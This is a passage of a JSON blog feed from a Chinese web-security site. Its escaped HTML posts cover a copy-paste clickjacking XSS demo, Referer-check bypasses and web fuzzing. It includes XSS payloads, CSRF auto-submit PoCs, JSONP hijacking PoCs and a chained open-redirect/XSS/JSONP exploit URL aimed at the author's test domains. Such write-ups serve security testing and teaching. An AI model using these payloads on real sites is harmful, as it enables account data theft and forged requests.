\/*\u63a7\u5236\u4e0d\u900f\u660e\u5ea6\u7684\u5c5e\u6027\uff0c\u517c\u5bb9\u5404\u5927\u6d4f\u89c8\u5668*\/\n}\n#test {\n    \/*\u63a7\u5236\u4e0d\u900f\u660e\u5ea6\u7684\u5c5e\u6027\uff0c\u517c\u5bb9\u5404\u5927\u6d4f\u89c8\u5668*\/\n    filter: alpha(Opacity=0); \/*\u63d0\u4f9b\u7ed9IE\u6d4f\u89c8\u56688\u4e4b\u524d\u7684*\/\n    -moz-opacity: 0; \/*\u63d0\u4f9b\u7ed9\u706b\u72d0\u6d4f\u89c8\u5668\u7684*\/\n    -webkit-opacity: 0; \/*\u63d0\u4f9b\u7ed9webkit\u5185\u6838\u7684*\/\n    -khtml-opacity: 0; \/*\u63d0\u4f9b\u7ed9KHTML\u5185\u6838\u7684*\/\n    -ms-filter: \"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)\"; \/*\u63d0\u4f9b\u7ed9IE8\u4e4b\u540e\u7684*\/\n    opacity: 0;\n    \/*\u63a7\u5236\u4e0d\u900f\u660e\u5ea6\u7684\u5c5e\u6027\uff0c\u517c\u5bb9\u5404\u5927\u6d4f\u89c8\u5668*\/\n}\n#submit {\n    position: fixed;\n    width: 614px;\n    height: 30px;\n    margin: 0 auto;\n    left: 0;\n    right: 550px;\n    display: block;\n    top: 640px;\n}\n&lt;\/style&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n&lt;input type=\"text\" id=\"test\" value='&lt;svg\/onload=alert(1)&gt;'&gt;&lt;br&gt;\n&lt;input type=\"submit\" value=\"test\" onclick=\"cpy()\"&gt;\n&lt;div class=\"testframe\"&gt;\n    &lt;input type=\"text\" id=\"submit\"&gt;\n\t&lt;iframe id=\"test0\" src=\"https:\/\/secquan.org\/New\"&gt;&lt;\/iframe&gt;\n&lt;\/div&gt;\n&lt;script type=\"text\/javascript\"&gt;\nfunction cpy(){\n    var content=document.getElementById(\"test\");\n    content.select();\n    document.execCommand(\"Copy\");\n}\n&lt;\/script&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/code><\/pre>\n\n<h2 id=\"\u6700\u7ec8\u6f14\u793a\">\u6700\u7ec8\u6f14\u793a<\/h2>\n\n<p><img src=\"\/images\/2018-08-28\/poc.gif\" alt=\"poc\" \/><\/p>\n\n<h1 id=\"\u603b\u7ed3\">\u603b\u7ed3<\/h1>\n\n<p>\u6bd4\u8f83\u6253\u5f00\u8111\u6d1e\u7684\u4e00\u6b21\u7814\u7a76\uff0c\u82db\u523b\u7684\u653b\u51fb\u6761\u4ef6\u5176\u5b9e\u5728\u8fdb\u884c\u8db3\u591f\u7684\u4e30\u5bcc\u8bf1\u5bfc\u4e0b\u5c31\u4f1a\u53d8\u5f97\u975e\u5e38\u7684\u6709\u8da3\u3002<\/p>\n","pubDate":"2018-08-28T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2018-08-28\/1","guid":"https:\/\/gh0st.cn\/archives\/2018-08-28\/1"},{"title":"GET\u8bf7\u6c42Referer\u9650\u5236\u7ed5\u8fc7\u603b\u7ed3","description":"<h1 id=\"\u524d\u8a00\">\u524d\u8a00<\/h1>\n\n<p>\u5728\u505a\u6d4b\u8bd5\u7684\u65f6\u5019\u4f1a\u9047\u89c1\u8fd9\u6837\u51e0\u4e2a\u6f0f\u6d1e\u573a\u666f\uff1a<\/p>\n\n<ol>\n  <li>JSONP\u8de8\u57df\u52ab\u6301<\/li>\n  <li>\u53cd\u5c04XSS<\/li>\n  <li>GET\u8bf7\u6c42\u7c7b\u578b\u653b\u51fb<\/li>\n<\/ol>\n\n<p>\u4f46\u662f\uff0c\u5728\u76f8\u5bf9\u5b89\u5168\u7684\u60c5\u51b5\u4e0b\uff0c\u90fd\u4f1a\u6709Referer(HTTP\u8bf7\u6c42\u5934)\u7684\u9650\u5236\u3002\u90a3\u4e48\u8be5\u5982\u4f55\u53bb\u505a\u7ed5\u8fc7\u5462\uff1f<\/p>\n\n<h1 id=\"\u6b63\u6587\">\u6b63\u6587<\/h1>\n\n<h2 id=\"\u4ec0\u4e48\u662freferer\">\u4ec0\u4e48\u662fReferer\uff1f<\/h2>\n\n<p>Referer\u662f\u8bf7\u6c42\u5934\u7684\u4e00\u90e8\u5206\uff0c\u5047\u8bbeA\u7ad9\u4e0a\u6709B\u7ad9\u7684\u94fe\u63a5\uff0c\u5728A\u7ad9\u4e0a\u70b9\u51fbB\u7ad9\u7684\u94fe\u63a5\uff0c\u8bf7\u6c42\u5934\u4f1a\u5e26\u6709Referer\uff0c\u800cReferer\u7684\u503c\u4e3aA\u7ad9\u7684\u94fe\u63a5\uff1b\u8fd9\u4e5f\u5c31\u662f\u4e3a\u4ec0\u4e48\u4e0a\u6587\u6240\u8bf4\u7684\u573a\u666f\uff0c\u9047\u89c1\u4e86Referer\u7684\u9650\u5236\u5c31\u53ef\u80fdGG\u4e86\u3002<\/p>\n\n<p><img src=\"\/images\/2018-08-01\/0x00.png\" alt=\"0\" \/><\/p>\n\n<h2 id=\"\u7ed5\u8fc7\u4e4b\u9053\">\u7ed5\u8fc7\u4e4b\u9053<\/h2>\n\n<h3 id=\"\u5e38\u89c4\u7ed5\u8fc7\">\u5e38\u89c4\u7ed5\u8fc7<\/h3>\n\n<p>\u4e00\u4e2a\u5b9e\u9645\u573a\u666f\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-08-01\/0x01.png\" alt=\"referer\" \/><\/p>\n\n<p>\u5148\u6765\u8bf4\u8bf4\u4e00\u4e9b\u5e38\u89c4\u5316\u7684\u4e1c\u897f\uff1a<\/p>\n\n<ul>\n  <li><code>\u5b50\u57df\u540d\u65b9\u5f0f<\/code><\/li>\n<\/ul>\n\n<p>\u4f7f\u7528\u5b50\u57df\u540d\u7684\u65b9\u5f0f\u8fdb\u884c\u7ed5\u8fc7\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-08-01\/0x02.png\" alt=\"subdomain\" \/><\/p>\n\n<ul>\n  <li><code>\u57df\u540d\u524d\u589e\u52a0<\/code><\/li>\n<\/ul>\n\n<p>\u5728\u57df\u540d\u524d\u9762\u589e\u52a0\u968f\u673a\u7684a-z\u548c0-9\u4e5f\u53ef\u4ee5\u8fdb\u7ed5\u8fc7\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-08-01\/0x03.png\" alt=\"rand\" \/><\/p>\n\n<ul>\n  <li><code>\uff1f\u53f7<\/code><\/li>\n<\/ul>\n\n<p>\u5c06\u57df\u540d\u4f5c\u4e3aGET\u8bf7\u6c42\u53c2\u6570\u8fdb\u884c\u7ed5\u8fc7\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-08-01\/0x04.png\" alt=\"subdomain\" \/><\/p>\n\n<h3 id=\"\u6253\u7834\u5e38\u89c4\">\u6253\u7834\u5e38\u89c4<\/h3>\n\n<h4 id=\"\u65e0referer\">\u65e0Referer<\/h4>\n\n<p>\u4e4b\u524d\u5728\u505a\u6d4b\u8bd5\u7684\u65f6\u5019\uff0c\u5c06Referer\u5934\u5220\u9664\u4e5f\u53ef\u4ee5\u7ed5\u8fc7\uff0c\u4f46\u662f\u5728\u771f\u6b63\u7684\u5229\u7528\u4e2d\u80fd\u4e0d\u80fd\u53bb\u5b9e\u73b0\u5462\uff1f\u662f\u53ef\u4ee5\u7684\u3002<\/p>\n\n<p>\u5728HTML\u6807\u7b7e\u4e2d\u6709\u8fd9\u6837\u4e00\u4e2a\u6807\u7b7e<code>&lt;meta&gt;<\/code>\uff0c\u800c\u8fd9\u4e2a\u6807\u7b7e\u662f\u8868\u793a\u65e0Referer\uff0c\u5c31\u662f\u5982\u4e0b\u7684\u4ee3\u7801\uff1a<\/p>\n\n<pre><code class=\"language-html\">&lt;meta name=\"referrer\" content=\"never\"&gt;\n<\/code><\/pre>\n\n<p>\u6211\u539f\u6765\u7684PoC\u4e3a\uff1a<\/p>\n\n<pre><code class=\"language-html\">&lt;html&gt;\n  &lt;body&gt;\n  &lt;script&gt;history.pushState('', '', '\/')&lt;\/script&gt;\n    &lt;form action=\"http:\/\/127.0.0.1\/test.php\"&gt;\n      &lt;input type=\"submit\" value=\"Submit request\" \/&gt;\n    &lt;\/form&gt;\n    &lt;script&gt;\n      document.forms[0].submit();\n    &lt;\/script&gt;\n  &lt;\/body&gt;\n&lt;\/html&gt;\n<\/code><\/pre>\n\n<p>\u4fee\u6539\u4e4b\u540e\u7684PoC\u4e3a\uff1a<\/p>\n\n<pre><code class=\"language-html\">&lt;html&gt;\n  &lt;meta name=\"referrer\" content=\"never\"&gt;\n  &lt;body&gt;\n  &lt;script&gt;history.pushState('', '', '\/')&lt;\/script&gt;\n    &lt;form action=\"http:\/\/127.0.0.1\/test.php\"&gt;\n      &lt;input type=\"submit\" value=\"Submit request\" \/&gt;\n    &lt;\/form&gt;\n    &lt;script&gt;\n      document.forms[0].submit();\n    &lt;\/script&gt;\n  &lt;\/body&gt;\n&lt;\/html&gt;\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2018-08-01\/0x05.png\" alt=\"null referer\" \/><\/p>\n\n<h4 id=\"\u4e0e\u5176\u4ed6\u8d44\u6e90\u7ec4\u5408\">\u4e0e\u5176\u4ed6\u8d44\u6e90\u7ec4\u5408<\/h4>\n\n<h5 id=\"\u8d85\u94fe\u63a5\">\u8d85\u94fe\u63a5<\/h5>\n\n<p>\u5728\u4e0a\u6587\u5c31\u63d0\u5230\u4e86A\u7ad9\u6709B\u7ad9\u7684\u94fe\u63a5\uff0c\u5728A\u7ad9\u70b9\u51fbB\u7ad9\u7684\u94fe\u63a5\uff0cReferer\u5c31\u4e3aA\u7ad9\u7684\u94fe\u63a5\u4e86\u3002\u90a3\u4e48\u5728\u8fd9\u91cc\u6211\u80fd\u5426\u4f7f\u7528\u767d\u540d\u5355\u57df\u4e0b\u7684\u4e1a\u52a1\u505a\u8d85\u94fe\u63a5\uff0c\u94fe\u63a5\u5730\u5740\u4e3aA\u7ad9\u5b58\u5728\u95ee\u9898\u7684\u94fe\u63a5\u518d\u642d\u914d\u4e00\u4e2a\u70b9\u51fb\u52ab\u6301\u6216\u8005\u8bf1\u5bfc\u7684\u65b9\u5f0f\u8fdb\u884c\u7ec4\u5408\u653b\u51fb\uff1f<\/p>\n\n<p><em>\u4f8b\u5982gh0st.cn\u505a\u4e86Referer\u7684\u9650\u5236\uff1a<\/em><\/p>\n\n<table>\n  <thead>\n    <tr>\n      <th>Referer<\/th>\n      <th>State<\/th>\n    <\/tr>\n  <\/thead>\n  <tbody>\n    <tr>\n      <td>http:\/\/gh0st.cn (Current Domain)<\/td>\n      <td>YES<\/td>\n    <\/tr>\n    <tr>\n      <td>http:\/\/www.hi-ourlife.cn (Other Domain)<\/td>\n      <td>NO<\/td>\n    <\/tr>\n    <tr>\n      <td>http:\/\/a.gh0st.cn (SubDomain)<\/td>\n      <td>YES<\/td>\n    <\/tr>\n  <\/tbody>\n<\/table>\n\n<p><strong>\u5b9e\u9645\u573a\u666f\uff1a<\/strong><\/p>\n\n<ul>\n  <li>\u516c\u5f00\u4fe1\u606f\u5bf9\u5916<\/li>\n<\/ul>\n\n<p>\u5728\u4e2a\u4eba\u4e2d\u5fc3\u5904\u53ef\u4ee5\u7f16\u8f91\u4e2a\u4eba\u7684\u5fae\u535a\u5730\u5740\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-08-01\/0x06.png\" alt=\"weibo\" \/><\/p>\n\n<p>\u5fae\u535a\u5730\u5740\u662f\u5bf9\u5916\u7684\u516c\u5f00\u4fe1\u606f\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-08-01\/0x07.png\" alt=\"weibo\" \/><\/p>\n\n<p>\u90a3\u4e48\u7ed3\u5408\u4e00\u4e0b\u70b9\u51fb\u52ab\u6301\u6216\u8005\u7528\u6237\u5e38\u89c4\u7684\u70b9\u51fb\u4e86\uff5e\u90a3\u5c31GGGGGGG\u4e86\uff5e<\/p>\n\n<ul>\n  <li>\u8bba\u575b<\/li>\n<\/ul>\n\n<p>\u73b0\u5728\u5f88\u591a\u5382\u5546\u90fd\u6709\u81ea\u5df1\u7684\u5f00\u653e\u8bba\u575b\uff0c\u7279\u522b\u662fDiscuz\u8fd9\u79cd\u5f88\u591a\uff0c\u800cDiscuz\u56de\u590d\u662f\u53ef\u4ee5\u4f7f\u7528\u8d85\u94fe\u63a5\u7684\uff1a<\/p>\n\n<p>\u56de\u590d\u8fd9\u6837\u7684\u683c\u5f0f\uff1a<code>[url=u]t[\/url]<\/code> u\u90e8\u5206\u4e3a\u5730\u5740\uff0ct\u90e8\u5206\u4e3a\u5730\u5740\u540d\u5b57\uff5e<\/p>\n\n<h5 id=\"url\u8df3\u8f6c\">URL\u8df3\u8f6c<\/h5>\n\n<p>302\u8df3\u8f6c\u662f\u5426\u53ef\u4ee5\uff1fNO\uff0c\u4e0d\u53ef\u4ee5\u3002<\/p>\n\n<p>\u8fd9\u91cc\u7684URL\u8df3\u8f6c\u662fJavaScript\u7684URL\u8df3\u8f6c\u3002<\/p>\n\n<p>\u5e38\u89c1\u7684\u4e24\u4e2a\uff1a<\/p>\n\n<pre><code class=\"language-javascript\">window.location.href=\"url\";\nwindow.open(\"url\");\n<\/code><\/pre>\n\n<h6 id=\"\u53cd\u5c04xssreferer\u9650\u5236\">\u53cd\u5c04XSS(Referer\u9650\u5236)<\/h6>\n\n<ol>\n  <li>\u8fd9\u91cc\u6211\u5df2\u7ecf\u6709\u4e00\u4e2a\u5b58\u5728\u4efb\u610fURL\u8df3\u8f6c\u6f0f\u6d1e\u4e86\uff1a<\/li>\n<\/ol>\n\n<p><code>http:\/\/test.vulkey.cn\/link.php?url=http:\/\/www.hi-ourlife.com<\/code><\/p>\n\n<p><img src=\"\/images\/2018-08-01\/0x08.png\" alt=\"js\" \/><\/p>\n\n<ol>\n  <li>\u6211\u6709\u4e00\u4e2a\u53cd\u5c04XSS\u6f0f\u6d1e\uff1a<\/li>\n<\/ol>\n\n<p><code>http:\/\/vulkey.cn\/jsonp.php?callback=vulkey<\/code><\/p>\n\n<p>\u5f53 <code>referer = a.com<\/code> :<\/p>\n\n<p><img src=\"\/images\/2018-08-01\/0x09.png\" alt=\"xss\" \/><\/p>\n\n<p>\u5f53 <code>referer = vulkey.cn<\/code> :<\/p>\n\n<p><img src=\"\/images\/2018-08-01\/0x10.png\" alt=\"xss\" \/><\/p>\n\n<p>\u5f53 <code>referer = *.vulkey.cn<\/code> :<\/p>\n\n<p><img src=\"\/images\/2018-08-01\/0x11.png\" alt=\"xss\" \/><\/p>\n\n<p>\u8fd9\u4e2a\u63a5\u53e3\u9a8c\u8bc1\u4e86Referer\u4f7f\u7528\u4e4b\u524d\u7684\u65b9\u6cd5\u6ca1\u529e\u6cd5\u7ed5\u8fc7\uff0c\u4e8e\u662f\u91c7\u7528\u7ec4\u5408\u62f3\u642d\u914d\u3002<\/p>\n\n<p>\u4e8e\u662f\u6709\u4e86\u5982\u4e0b\u7684\u6784\u5efa\uff1a<code>http:\/\/test.vulkey.cn\/link.php?url=http:\/\/vulkey.cn\/jsonp.php?callback=vulkey&lt;svg\/onload=alert(1)&gt;<\/code><\/p>\n\n<p><img src=\"\/images\/2018-08-01\/0x12.png\" alt=\"xss\" \/><\/p>\n\n<h6 id=\"jsonp\u52ab\u6301\u53cd\u5c04xssurl\u8df3\u8f6c\">JSONP\u52ab\u6301+\u53cd\u5c04XSS+URL\u8df3\u8f6c<\/h6>\n\n<p>\u8fd9\u4e2a\u6848\u4f8b\u662f\u57fa\u4e8e\u4e0a\u9762\u53cd\u5c04XSS\u6848\u4f8b\u7684\uff0c\u73b0\u5728\u5df2\u77e5\u7684\u4e09\u4e2a\u95ee\u9898\uff1a<\/p>\n\n<ol>\n  <li>JSONP\u63a5\u53e3 <code>http:\/\/vulkey.cn\/jsonp.php?callback=vulkey<\/code> <strong>\u6709Referer\u9650\u5236<\/strong><\/li>\n  <li>\u53cd\u5c04XSS <code>http:\/\/vulkey.cn\/jsonp.php?callback=vulkey&lt;svg\/onload=alert(1)&gt;<\/code> <strong>\u6709Referer\u9650\u5236<\/strong><\/li>\n  <li>JavaScript URL\u8df3\u8f6c <code>http:\/\/test.vulkey.cn\/link.php?url=http:\/\/www.hi-ourlife.com<\/code><\/li>\n<\/ol>\n\n<p>\u4e00\u822cJSONP\u8de8\u57df\u52ab\u6301\u7684PoC\u662f\u8fd9\u6837\u7684\uff1a<\/p>\n\n<pre><code class=\"language-html\">&lt;script&gt;function jsonp2(data){alert(JSON.stringify(data));}&lt;\/script&gt;\n&lt;script src=\"url\"&gt;&lt;\/script&gt;\n<\/code><\/pre>\n\n<p>\u4f46\u662f\u56e0\u4e3a\u6709Referer\u9650\u5236\uff0c\u5c31\u4e0d\u80fd\u5728\u81ea\u5df1\u7684\u7ad9\u70b9\u4e0a\u505aPoC\u4e86\uff0c\u5c31\u53ea\u80fd\u5229\u7528\u53cd\u5c04XSS\u6f0f\u6d1e\u6784\u5efaPoC\uff1a<\/p>\n\n<p><code>http:\/\/vulkey.cn\/jsonp.php?callback=%3Cscript%3Efunction+vulkey(data){alert(JSON.stringify(data));}%3C\/script%3E%3Cscript+src=%22http:\/\/vulkey.cn\/jsonp.php?callback=vulkey%22%3E%3C\/script%3E<\/code><\/p>\n\n<p>\u4f46\u4ec5\u4ec5\u5982\u6b64\u662f\u4e0d\u591f\u662f\u56e0\u4e3aXSS\u6709Referer\u6765\u6e90\u7684\u9650\u5236\uff0c\u6240\u4ee5\u6700\u7ec8\u7684PoC\u5e94\u8be5\u662f\u8fd9\u6837\u7684\uff1a<\/p>\n\n<p><code>http:\/\/test.vulkey.cn\/link.php?url=http:\/\/vulkey.cn\/jsonp.php?callback=%253Cscript%253Efunction%2bvulkey%28data%29%7Balert%28JSON.stringify%28data%29%29%3B%7D%253C%2fscript%253E%253Cscript%2bsrc%3D%2522http%3A%2f%2fvulkey.cn%2fjsonp.php%3Fcallback%3Dvulkey%2522%253E%253C%2fscript%253E<\/code><\/p>\n\n<p><img src=\"\/images\/2018-08-01\/0x13.png\" alt=\"bypass\" \/><\/p>\n\n<p>\u4e5f\u5c31\u662f\u8bf4\u5728\u8fd9\u91ccJS\u7684URL\u8df3\u8f6c\u89e3\u51b3\u4e86XSS\u7684Referer\u9650\u5236\u95ee\u9898\uff0c\u800cXSS\u53c8\u89e3\u51b3\u4e86JSONP\u63a5\u53e3\u7684Referer\u9650\u5236\u95ee\u9898\uff0c\u8fd9\u662f\u4e00\u4e2a\u8054\u5408\u7ec4\u5408\u62f3\u3002\u5982\u679c\u4f60\u53d1\u73b0\u7684XSS\u6ca1\u6709Referer\u9650\u5236\u5219\u4e0d\u9700\u8981\u8fd9\u4e48\u201d\u9ebb\u70e6\u201d\u3002<\/p>\n\n<h1 id=\"\u7ed3\u5c3e\">\u7ed3\u5c3e<\/h1>\n\n<p>\u6587\u4e2d\u603b\u7ed3\u4e00\u4e9b\u5c0f\u7684TIPS\uff0c\u9488\u5bf9\u6211\u9047\u5230\u7684\u5b9e\u9645\u6848\u4f8b\u8fdb\u884c\u4e86\u6f0f\u6d1e\u7684\u590d\u73b0\u622a\u56fe\uff0c\u6253\u5f00\u601d\u7ef4\u5176\u5b9e\u8fd8\u6709\u66f4\u591a\u66f4\u597d\u7684\u601d\u8def\uff0c\u6709\u673a\u4f1a\u540e\u671f\u4f1a\u5199\u51fa\u6765\u3002<\/p>\n","pubDate":"2018-08-01T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2018-08-01\/1","guid":"https:\/\/gh0st.cn\/archives\/2018-08-01\/1"},{"title":"\u6211\u7684Web\u5e94\u7528\u5b89\u5168\u6a21\u7cca\u6d4b\u8bd5\u4e4b\u8def","description":"<h1 id=\"\u524d\u8a00\">\u524d\u8a00<\/h1>\n\n<p>\u574f\u86cb(\u6625\u79cb\u793e\u533a)\u8ddf\u6211\u8bf4\u8981\u6211\u51c6\u5907\u8bae\u9898\u7684\u65f6\u5019\uff0c\u6211\u662f\u61f5\u903c\u7684\uff5e\u4ed4\u7ec6\u60f3\u4e86\u4e00\u4e0b\u81ea\u5df1\u8fd9\u4e48\u83dc\uff0c\u80fd\u8bb2\u4ec0\u4e48\u5462\uff1f<\/p>\n\n<p>\u601d\u8003\u4e86\u5f88\u4e45\u6700\u7ec8\u5b9a\u4e86\u8fd9\u4e2a\u6807\u9898\uff1a\u300a\u6211\u7684Web\u5e94\u7528\u5b89\u5168\u6a21\u7cca\u6d4b\u8bd5\u4e4b\u8def\u300b<\/p>\n\n<p>\u8fd9\u7bc7\u8bae\u9898\u4e3b\u8981\u56f4\u7ed5\u6211\u505aWeb\u5e94\u7528\u5b89\u5168\u6d4b\u8bd5\u7684\u65f6\u5019\u6240\u8fd0\u7528\u7684\u4e00\u4e9b\u6280\u5de7\u548c\u601d\u8def\u3002<\/p>\n\n<p><img src=\"\/images\/2018-07-25\/0.png\" alt=\"title\" \/><\/p>\n\n<h1 id=\"\u6211\u7684web\u5e94\u7528\u5b89\u5168\u6a21\u7cca\u6d4b\u8bd5\u4e4b\u8def\">\u6211\u7684Web\u5e94\u7528\u5b89\u5168\u6a21\u7cca\u6d4b\u8bd5\u4e4b\u8def<\/h1>\n\n<h2 id=\"\u4ec0\u4e48\u662fweb\u5e94\u7528\u4e2d\u7684\u6a21\u7cca\u6d4b\u8bd5\">\u4ec0\u4e48\u662fWeb\u5e94\u7528\u4e2d\u7684\u6a21\u7cca\u6d4b\u8bd5\uff1f<\/h2>\n\n<p>Web\u5e94\u7528\u662f\u57fa\u4e8e\u4ec0\u4e48\u8fdb\u884c\u4f20\u8f93\u7684\uff1fHTTP\u534f\u8bae\u3002<\/p>\n\n<p>\u6a21\u7cca\u6d4b\u8bd5\u662f\u4ec0\u4e48\uff1fPayload\u968f\u673a\u3002<\/p>\n\n<p>Payload\u653e\u54ea\u91cc\uff1fHTTP\u8bf7\u6c42\u62a5\u6587\u683c\u5f0f\u662f\u4ec0\u4e48\uff1f<strong>\u8bf7\u6c42\u884c(\u8bf7\u6c42\u65b9\u5f0f URI HTTP\/1.1)<\/strong>\u3001<strong>\u8bf7\u6c42\u5934<\/strong>\u3001<strong>\u8bf7\u6c42\u62a5\u6587\u4e3b\u4f53(POST Data)<\/strong>\u3002<\/p>\n\n<p><strong>\u6a21\u7cca\u6d4b\u8bd5\u79d8\u7c4d-&gt;\u589e(Add) &amp;&amp; \u5220(Del)<\/strong><\/p>\n\n<h3 id=\"\u88ab\u56fa\u5316\u7684\u6d4b\u8bd5\u601d\u7ef4\">\u88ab\u56fa\u5316\u7684\u6d4b\u8bd5\u601d\u7ef4<\/h3>\n\n<p>\u6211\u5217\u51fa\u4e00\u4e2a\u8bf7\u6c42\uff0c\u8fb9\u770b\u8fb9\u601d\u8003\u4f60\u4f1a\u600e\u4e48\u6d4b\u8bd5\u8fd9\u4e2a\u8bf7\u6c42\u5462\uff1f<\/p>\n\n<p>HTTP\u8bf7\u6c42\u62a5\u6587(Request)\uff1a<\/p>\n\n<pre><code class=\"language-http\">GET \/uc\/getInfo HTTP\/1.1\nHost: gh0st.cn\nOrigin: http:\/\/gh0st.cn\n...\n<\/code><\/pre>\n\n<p>HTTP\u54cd\u5e94\u4e3b\u4f53(Response Content):<\/p>\n\n<pre><code class=\"language-json\">{\n    \"id\": \"1024\",\n    \"realName\": \"yudan\",\n    \"mobilePhone\": \"13888888888\",\n    \"cardNo\": \"111111111111111111\"\n}\n<\/code><\/pre>\n\n<p>\u770b\u5230\u8fd9\u60f3\u5fc5\u4f60\u5df2\u7ecf\u77e5\u9053\u81ea\u5df1\u8981\u6d4b\u8bd5\u7684\u5185\u5bb9\u662f\u4ec0\u4e48\u4e86\uff0c\u4e00\u822c\u6765\u8bb2\u5f88\u591a\u4eba\u4f1a\u5148\u6ce8\u610f<code>Origin<\/code>\u8fd9\u4e2aHTTP\u8bf7\u6c42\u62a5\u6587\u5934\uff0c\u770b\u54cd\u5e94\u7684HTTP\u5934\uff1a<\/p>\n\n<pre><code class=\"language-http\">...\nAccess-Control-Allow-Origin: http:\/\/gh0st.cn\nAccess-Control-Allow-Crdentials: True\nAccess-Control-Allow-Methods: OPTION, POST, GET\n...\n<\/code><\/pre>\n\n<p>\u5982\u679c\u6211\u4fee\u6539Origin\u7684\u503c\u4e3a<code>http:\/\/qianan.cn<\/code>\uff0c\u8fd4\u56de\u7684\u4e5f\u662f<code>Access-Control-Allow-Origin: http:\/\/qianan.cn<\/code>\uff0c\u90a3\u5c31\u4ee3\u8868\u7740\u8fd9\u91cc\u5b58\u5728CORS\u8de8\u57df\u8d44\u6e90\u5171\u4eab(\u4efb\u610f\u57df)\u7684\u95ee\u9898\uff0c\u5177\u4f53\u5728\u8fd9\u91cc\u5c31\u4e0d\u591a\u8bf4\u4e86\u53c2\u8003\u6211\u4e4b\u524d\u7684\u4e00\u7bc7\u6587\u7ae0\uff1ahttp:\/\/gh0st.cn\/archives\/2018-03-22\/1<\/p>\n\n<p>\u8fd9\u91cc\u4e5f\u8bb8\u4f1a\u6709\u4ec0\u4e48\u5339\u914d\u4e4b\u7c7b\u7684\u9a8c\u8bc1\uff0c\u4e00\u822c\u7684\u4e24\u79cd\u7ed5\u8fc7\u65b9\u6cd5\uff1a<\/p>\n\n<p>1.\u5b50\u57df\u540d(<code>http:\/\/{domain}.mst.cn\/ -&gt; http:\/\/gh0st.cn.mst.cn\/<\/code>)<\/p>\n\n<p>2.\u57df\u540d\u524d\u7f00(<code>http:\/\/{a-z}{domain} -&gt; http:\/\/agh0st.cn\/<\/code>)<\/p>\n\n<p>\u4e5f\u8bb8\u5230\u8fd9\u91cc\u90e8\u5206\u4eba\u7684\u6d4b\u8bd5\u5df2\u7ecfOver\u4e86\uff5e\u90a3\u4e48\u6211\u8fd8\u4f1a\u7ee7\u7eed\u6d4b\u8bd5\u4e0b\u53bb\uff0c\u5982\u4f55\u6d4b\uff1f\u5f80\u4e0b\u770b\u2193<\/p>\n\n<h3 id=\"\u6a21\u7cca\u6d4b\u8bd5\u4e4b\u589e\">\u6a21\u7cca\u6d4b\u8bd5\u4e4b\u589e<\/h3>\n\n<h4 id=\"\u589e---\u5165\u95e8\">\u589e - \u5165\u95e8<\/h4>\n\n<p>\u89c2\u5bdf\u54cd\u5e94\u62a5\u6587\u683c\u5f0f\uff1a<\/p>\n\n<pre><code class=\"language-json\">{\n    \"id\": \"1024\",\n    \"realName\": \"yudan\",\n    \"mobilePhone\": \"13888888888\",\n    \"cardNo\": \"111111111111111111\"\n}\n<\/code><\/pre>\n\n<p>\u8fd9\u91cc\u7684\u683c\u5f0f\u4e3aJSON\u683c\u5f0f\uff0c\u90a3\u4e48\u8ddfJSON\u6709\u5173\u7684\u6f0f\u6d1e\u6700\u5148\u60f3\u5230\u7684\u662f\u4ec0\u4e48\uff1f<\/p>\n\n<p>\u6ca1\u9519\uff0cJSONP\u8de8\u57df\u52ab\u6301\uff08\u60f3\u79d1\u666e\u4e0b\uff1f\u770b\u8fd9\u91cc-&gt; http:\/\/gh0st.cn\/archives\/2018-03-22\/1\uff09\u3002<\/p>\n\n<p>JSONP\u8de8\u57df\u52ab\u6301\u9700\u8981\u5177\u5907\u7684\u6761\u4ef6\u662f\u56de\u8c03\u53c2\u6570\uff0c\u800c\u8fd9\u91cc\u5e76\u6ca1\u6709\uff0c\u6ca1\u6709\u56de\u8c03\u53c2\u6570\uff0c\u90a3\u6211\u5c31\u589e\u52a0\u4e00\u4e2a\u56de\u8c03\u53c2\u6570\uff0c\u5982\u4e0b\u662f\u6211\u7684\u4e00\u4efd\u5b57\u5178\uff1a<\/p>\n\n<p><img src=\"\/images\/2018-07-25\/1.png\" alt=\"1.png\" \/><\/p>\n\n<p>\u4f7f\u7528BurpSuite\u7684Intruder\u6a21\u5757\uff0c\u8fdb\u884c\u679a\u4e3e\u6d4b\u8bd5\uff1a<\/p>\n\n<pre><code>GET \/uc\/getInfo?callback=mstkey HTTP\/1.1\nGET \/uc\/getInfo?cb=mstkey HTTP\/1.1\nGET \/uc\/getInfo?jsonp=mstkey HTTP\/1.1\n...\n<\/code><\/pre>\n\n<p>\u7ec8\u4e8e\u67d0\u4e00\u6761\u8bf7\u6c42\u5f97\u5230\u4e86\u6211\u60f3\u8981\u7684\u7ed3\u679c\uff1a<\/p>\n\n<pre><code class=\"language-json\">mstkey({\"id\":\"1024\",\"realname\":\"yudan\",\"mobilePhone\":\"13888888888\",\"cardNo\":\"111111111111111111\"})\n<\/code><\/pre>\n\n<p>\u90a3\u5728\u8fd9\u91cc\u6211\u5c31\u53ef\u4ee5\u6784\u5efaPoC\u4e86\uff1a<\/p>\n\n<pre><code class=\"language-html\">&lt;script&gt;function mstkey(data){alert(JSON.stringify(data));}&lt;\/script&gt;\n&lt;script src=\"http:\/\/gh0st.cn\/uc\/getInfo?callback=mstkey\"&gt;&lt;\/script&gt;\n<\/code><\/pre>\n\n<h4 id=\"\u589e---\u8fdb\u9636\">\u589e - \u8fdb\u9636<\/h4>\n\n<p>\u9664\u4e86\u4e0a\u9762\u6240\u8bf4\u7684\u589e\u52a0\u56de\u8c03\u53c2\u6570\u4ee5\u5916\uff0c\u8fd8\u53ef\u4ee5\u589e\u52a0\u4ec0\u4e48\u5462\uff1f<\/p>\n\n<p><img src=\"\/images\/2018-07-25\/2.png\" alt=\"URL\" 